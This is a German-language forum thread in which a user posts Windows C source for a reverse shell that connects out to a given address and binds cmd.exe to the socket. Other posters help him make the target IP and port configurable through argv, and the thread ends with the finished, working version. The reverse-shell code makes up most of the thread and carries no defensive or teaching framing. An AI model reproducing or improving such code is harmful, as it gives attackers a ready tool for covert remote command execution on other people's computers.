argv[] - Problem bei der Argumentübergabe
-
Hi,
ich hoffe ihr könnt mir helfen.
Hab folgenden code bei einer Onlinerecherche gefunden ( er baut eine reverse shell auf)//compile : gcc revshell.c -lwsock32 -lws2_32
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(55); adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1"); //Zeile geändert um IP variabel zu halten connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); ExitProcess(0); }
so funktioniet er auch gut nur sind eben IP und Port fix.
Zunächst versuche ich die IP variabel zu machen. Dazu hab ich folgende Zeile geändert:adik_sin.sin_addr.s_addr = inet_addr(argv[0]);
das funktioniert aber nicht und bringt nichtmal Fehler.
MFG c°h°
-
Wie wäre es, mal
printf("%s\n", argv[0]); zu machen. Dann würdest du sehen, dass argv[0] dein Programmname ist
-
hab ich schon versucht ist ganz seltsam wenn ich printf("test"); irgendwo einfüge an erster stelle / mittendrin egal wo. Es wird kein output erzeugt bekomme also keine ausgabe in der console
-
\n
-
thx das geht
jetzt und es stimmt in argv[0] steht nicht die übergebene ip sondern der name der executable:
C:\blow>a 127.0.0.1 test: a
habe diese Zeile eingefügt:
printf("test: %s\n", argv[0]);
hm aber wenn die Übergabe nicht in argv[0] steht wo steht sie dann ?
-
c°h° schrieb:
hm aber wenn die Übergabe nicht in argv[0] steht wo steht sie dann ?
dann probier mal das
for ( i = 0; i < argc; ++i ) printf("%d:'%s'", i, argv[i]);
Kurt
-
Habs danke an euch alle
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") main(int argc, char *argv[]) { int PortX= atoi(argv[2]); WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(PortX); adik_sin.sin_addr.s_addr = inet_addr(argv[1]); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); ExitProcess(0); }
MFG c°h°
-
Nur ein kleiner Tip: Du solltest eine Überprüfung einbauen, ob der Nutzer überhaupt etwas angegeben hat:
if(argc<2) { printf("Bitte IP-Adresse angeben.\n"); exit(1); }
-
klar das hab ich direkt eingebaut als es funktionierte